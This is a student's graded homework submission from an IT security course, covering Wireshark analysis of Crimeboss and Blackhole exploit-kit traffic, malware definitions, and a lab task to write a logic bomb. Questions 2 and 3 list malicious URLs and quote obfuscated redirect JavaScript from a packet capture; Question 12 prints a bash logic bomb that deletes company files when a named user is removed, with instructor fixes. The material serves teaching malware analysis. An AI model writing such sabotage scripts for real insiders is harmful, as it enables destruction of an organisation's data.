



Review Test Submission: Homework3

User	Hong Zhang
Course	ITMS-448_IT-S-448-Parent.16S
Test	Homework3
Started	1/25/16 8:50 PM
Submitted	2/7/16 7:46 PM
Due Date	2/7/16 11:59 PM
Status	Completed
Attempt Score	91 out of 100 points
Time Elapsed	310 hours, 55 minutes
Results Displayed	Submitted Answers, Correct Answers, Feedback, Incorrectly Answered Questions

Question 1

20 out of 20 points



Download the HW2_Lab_Instructions from the Lab Instructions folder in Blackboard. Complete all of the steps in the lab and submit the required screen capture under step #24.

Selected Answer: [Capture.PNG](#)

Response Feedback: [None Given]

Question 2

5 out of 5 points



After completing the HW2_Lab, which exploit kit did the victim come into contact with?

Selected Answer: The victim come into contact with one of web exploit kit, Crimeboss Exploit kit.
It has a typical Crimeboss Infection sequence: redirector--> exploit pack--> java exploits--> payloads.
HTTP Request Method = GET
the gate for its exploit kit and it URI strings:

- abrahamspath.org.uk/favicon.ico
- abrahamspath.org.uk/cb.php
- abrahamspath.org.uk/cb.php?action=jv&h=608299343

Here is its exploit chain:

Redirector from compromised web site:

- criagift.com.br/jex/index.php?setup=d&s=2&r=900013
- criagift.com.br/jex/index.php?setup=d

Main Crimebosslanding pace, checks Java:

- criagift.com.br/jex/index.php?action=stats_loaded
- criagift.com.br/jex/index.php?action=stats_javaon
- criagift.com.br/jex/index.php?action=stats_access

Java exploits delivered:

- daniieldelaney.com/jex/java7.jar?r=463779
- daniieldelaney.com/jex/amor1.jar

Payload Executable Downloaded:

- uploads.boxify.me/97844/Laine.lora?1357412773

Correct Answer: The victim came into contact with the Crimeboss exploit kit. Crimeboss signatures include:
cb.php
/jex/amor1.jar
/jex/java7.jar
uploads.boxify.me

Response Feedback: Nice job.

Question 3

4 out of 5 points



In the HW2_Lab, explain what is happening in the TCP Stream from Frame 35. Remember, you need to right click on Frame 35 and select "Follow TCP Stream."
Your answer should include at least 6 items that you noticed based on your analysis.

Selected Answer: 1. This is a typical TCP three handshake. It happened between the victim, 192.168.1.133 and the malicious server, 173.254.28.55.
 2. The victim send the first GET request to http://abrahamspath.org.uk/cb.php. cb.php is the initial Exploit Kit script.
 During the request, we will know the malicious server's HTTP referer is http://abrahamspath.org.uk/cb.php and the host is criagift.com.br.
 3. Then, the victim received the response from the malicious server. "HTTP/1.1 200 OK" means the GET request download from the malicious server was successful.
 There are some javascript codes which we need to notice in the response.
 if(navigator.javaEnabled()) {document.write("<sc' + 'ri' + 'pt src='\"http://criagift.com.br/jex/index.php?setup=d&s=2&r=' + Math.floor(100000 + (Math.random()*999999 + 1)) + '\" type='\"text/javascript\" charset='\"iso-8859-1\"></sc' + 'ri' + 'pt>');}
 The malicious server wants to check the victim's Java if enable. If enable, the victim will be redirected to http://criagift.com.br/jex/index.php.
 4. Next, the victim sent the second GET request. "GET /jex/index.php?setup=d&s=2&r=900013 HTTP/1.1"
 5. Then, it's the turn for response. The victim received the second response from the malicious server. The following javascript codes prove that the malicious server found that Java was enabled in the victim's browser and the redirection happened. It went to http://criagift.com.br.
 var jsm_lab_on.= true;var jsm_lab_access.= 'http://criagift.com.br/jex/index.php?action=stats_access';
 var jsm_lab_javaon.= 'http://criagift.com.br/jex/index.php?action=stats_javaon';
 var jsm_lab_javaoff.= 'http://criagift.com.br/jex/index.php?action=stats_javaoff';
 var jsm_lab_loaded.= 'http://criagift.com.br/jex/index.php?action=stats_loaded';
 var jsm_lab_loadfail.= 'http://criagift.com.br/jex/index.php?action=stats_loadfail';
 The following codes tell us that the web browser was not showing the URL, http://danieldelaney.com/jex/ which the victim wanted to.
 var jsm_loaded...= false;
 var jsm_applet_index.= 1;
 var jsm_applet_count.= 20;
 var jsm_applet_prefix.= 'amor';
 var jsm_applet_url.= 'http://danieldelaney.com/jex/';
 6. Now, it is the last request from the victim. "GET /jex/index.php?action=stats_access HTTP/1.1"
 7. Next, it is the last response from the malicious server. "HTTP/1.1 200 OK" means the GET request was successful and these two servers had built up a connection.

Correct Answer: ☒ Enumeration of the victim's browser is taking place to determine if they have Java installed, which version, and if it is a vulnerable version.
 The URL to the browser exploits of amor1.jar and java7.jar (danieldelaney.com) are shown in this stream as well, albeit somewhat obfuscated.
 Also, a URL (blogtcl.com.ar) to send the payload rh.exe to the victim is shown.

Response Feedback: Also, the java exploit code to deliver the rh.exe payload was provided.

Question 4

5 out of 5 points



In the HW_2 Lab, create a filter that only shows traffic from any host using the HTTP protocol. Type the filter as the answer to this question.

Selected Answer: http

Correct Answer: ☒ http

Response Feedback: [None Given]

Question 5

5 out of 5 points



In the HW_2 Lab, create a filter that only shows traffic from any host using the HTTP protocol but eliminate the SSDP traffic. Type the filter as the answer to this question.

Selected Answer: http && ! udp

Correct Answer: ☒ http and tcp.port==80

Response Feedback: [None Given]

Question 6

5 out of 5 points



In the HW_2 Lab, create a filter that only shows traffic using the HTTP protocol and only shows traffic going back and forth between the specific victim's IP address and an

Selected Answer: ip.addr == 192.168.1.133 && http

Correct Answer: ☒ ip.addr==192.168.1.133 and http

Response Feedback: [None Given]

Question 7

5 out of 5 points



In the HW_2 Lab, create a filter that only shows HTTP protocol traffic that the victim's IP is transmitting to any destination. (We do not want to see traffic of servers trans

Selected Answer: ip.src == 192.168.1.133 && http

Correct Answer: ☒ ip.src==192.168.1.133 and http

Response Feedback: [None Given]

Question 8

5 out of 5 points



In the HW2 Lab, create a filter that only shows the server responses with an http status of 200. Type the filter as the answer to this question.

Selected Answer: `http.response.code == 200`

Correct Answer: `http.response.code == 200`

Response Feedback: [None Given]

Question 9

15 out of 20 points



You just finished walking through the lab instructions for the exploit kit in the `malwarewinxp1.pcap` file for the prior questions. Now, in your Windows 8.1 RADISH VM, copy the `Blackhole.pcap` from the `M: Drive \ Tools` folder to your desktop and open it in Wireshark. You will perform some analysis on this file on your own and submit a report in either `.doc`, `.docx`, or `pdf` format to answer this question. Your report should answer the following questions:

1. What is the IP address of the victim's computer?

2. The first compromised site is `psr.com.au`. (Make sure you look at your "Destination Host" column that you configured in the first lab.) Once the victim visited that host, they were redirected to four additional different websites before being sent to the malicious server hosting the blackhole exploit kit. The `psr.com.au` cause the first redirect to a server at destination host `pornotrider.wha.la`. Show a screenshot from Wireshark of the code in the `psr.com.au` page that caused the redirect to occur and also list the frame number in which you found it. **Use the Windows Snipping tool for all screenshots so that you can capture the specific area requested.

(Hint1: The GET request is when the browser requests the page from the server. A response of 200 OK indicates that the page was received by the browser from the server. The response frame will show the code that was returned from the server for the browser to read/execute.)

(Hint2 : Show TCP Stream doesn't decode compressed data. You will need to look at Line-based text data in order to see the decoded site code. You can also right click on Line-based text data and export the selected bytes to a text file for easier searching.)

3. The `pornotrider.wha.la` server caused a second redirect to the `ks.wha.la` server. Show a screenshot from Wireshark of the code in the `pornotrider.wha.la` page that caused the redirect to occur and also list the frame number in which you found it.

4. The `ks.wha.la` server caused a redirect to occur to `go.exelo.ru`. Show a screenshot from Wireshark of the response (include the LOCATION field) that caused the redirect to occur and also list the frame number in which you found it.

(Hint1: So far we have noticed the redirects are occurring due to code within web pages. This redirect is not like that and is more of a traditional redirect.)

5. Another redirect to `karzius.wha.la` occurred after the victim visited the `exelomedia.ru` server. Show a screenshot from Wireshark of the response (include the LOCATION field) that caused the redirect to occur and also list the frame number in which you found it.

6. The `karzius.wha.la` server caused the victim to be redirected to the actual blackhole exploit kit landing page. Show a screenshot from Wireshark of the response (include the LOCATION field) that caused the redirect to occur and also list the frame number in which you found it.

7. In frame 499 a browser exploit was delivered. Follow the TCP stream and report what type of browser exploit it was. You will not need to extract and analyze the file to answer this question.

8. Lastly, a malicious executable was downloaded by the host from the blackhole server. List what frame that happened in. (Hint: an exe file will have a header of "MZ" and state "This program cannot be run in DOS mode.")

Selected Answer: [wireshare report_Hong Zhang.docx](#)

Response Feedback: 4 = Frame 250

6 = Frame 429

8 = Frame 531 is where the download started but I won't take off for this one since you showed the ending frame.

Question 10


5 out of 5 points



What is the difference between Viruses, Worms, and Trojans? Your answer should include details about propagation method and payloads.

Selected Answer:

- Virus: Almost always attached to an executable file
 - Propagates: only when infected software or document is transferred to another computer by a user via Email attachment, USB Drive, Network File Share, etc
 - Payload:
 - Infect/overwrite other software or documents with copies of itself
 - Erase files and programs
 - Reformat hard disk
 - Worm: Seeks out computers to infect and each infected computer acts as automated launching pad for attacks on even more computers.
 - Propagates via:
 - Network connections, shared media, can email copy of itself
 - Worm macro inside Word, Excel, PP documents
 - Payload:
 - Creation of backdoor
 - Turns computers into spam engines
 - Can disable security software
 - Damage systems
 - Cause Denial of Service (DoS) attacks
 - Trojan Horse: Malicious software that appears to be legitimate
 - Propagates via user interaction:
 - Opening email attachments
 - Downloading and executing a file from the internet
 - Payloads:
 - Data theft or loss
 - Creation of backdoor
 - Downloading of other malware
- The differences:
- Viruses cannot propagate on their own!
 - Unlike Viruses, Worms propagate on their own!
 - Trojans do not self replicate like Worms or reproduce by infecting other files like Viruses

Correct Answer: 

Virus - Can't propagate on its own. Payload may overwrite other software, erase files and programs, reformat hard disk, etc.
 Worm - Can propagate on its own. Payload may include backdoor, spam engine, DoS attacks, etc.
 Trojan - Does not self replicate like worms or reproduce by infecting other files like viruses. Payload may include data theft, backdoor, downloading of other malware, etc.

Response Feedback: [None Given]

Question 11

5 out of 5 points



Why does the Conficker worm use IP address querying sites to collect the IP address of the infected victim?

Selected Answer: When the victims use these querying sites, their ip addresses will be carefully tracked and saved in databases . Conficker is easy to get the data.

Correct Answer: 

A Conficker infected host can become part of a botnet and the bot master needs to be able to connect to his/her bots by their public IP address.

Response Feedback: [None Given]

Question 12

12 out of 15 points



Rami Patel is a disgruntled user of FakeCorp who senses he may be fired soon. He wants you to create a Logic Bomb for him that will delete the company's secret documents in the event he is terminated.

1. In Linux, create a directory off of /var called secretdocs. So the path should be /var/secretdocs.
2. Create two text files in that folder called companysecrets and companyexpenses.
3. Create a user named rpatel.
4. Create a basic logic bomb in Linux with a bash script that deletes the contents of the /var/secretdocs folder if the rpatel user is deleted.
5. Test your script by deleting the rpatel user and ensuring that the two files in /var/secretdocs are deleted.

Copy and paste your working bash script code into the answer section to complete this question.

(5 pts extra credit if you can include functionality to delete the Logic Bomb script after execution and delete any traces of the script executing.)

Selected Answer:

```
Here is the shell file:
#!/bin/sh
#This is a logic bomb
while:
do
    sleep 5
    if ! grep --quiet "rpatel" /etc/passwd
    then rm companysecrets.txt companyexpenses.txt
    exit
    fi
done
```

```
Here is run the file:
root@448k-01:~#chmod u+x hong.sh
root@448k-01:~# nohop ./hong.sh &
or the second option to run the file:
root@448k-01:~# chmod u+x hong.sh

root@448k-01:~# setsid Bomb.sh
```

Correct Answer: [None]

Response Feedback: Your while loop needs to have a condition such as true.

while true;

You also need to specify the full path of the company files assuming you weren't running the logic bomb in that folder.

Thursday, February 18, 2016 9:04:15 AM CST

← OK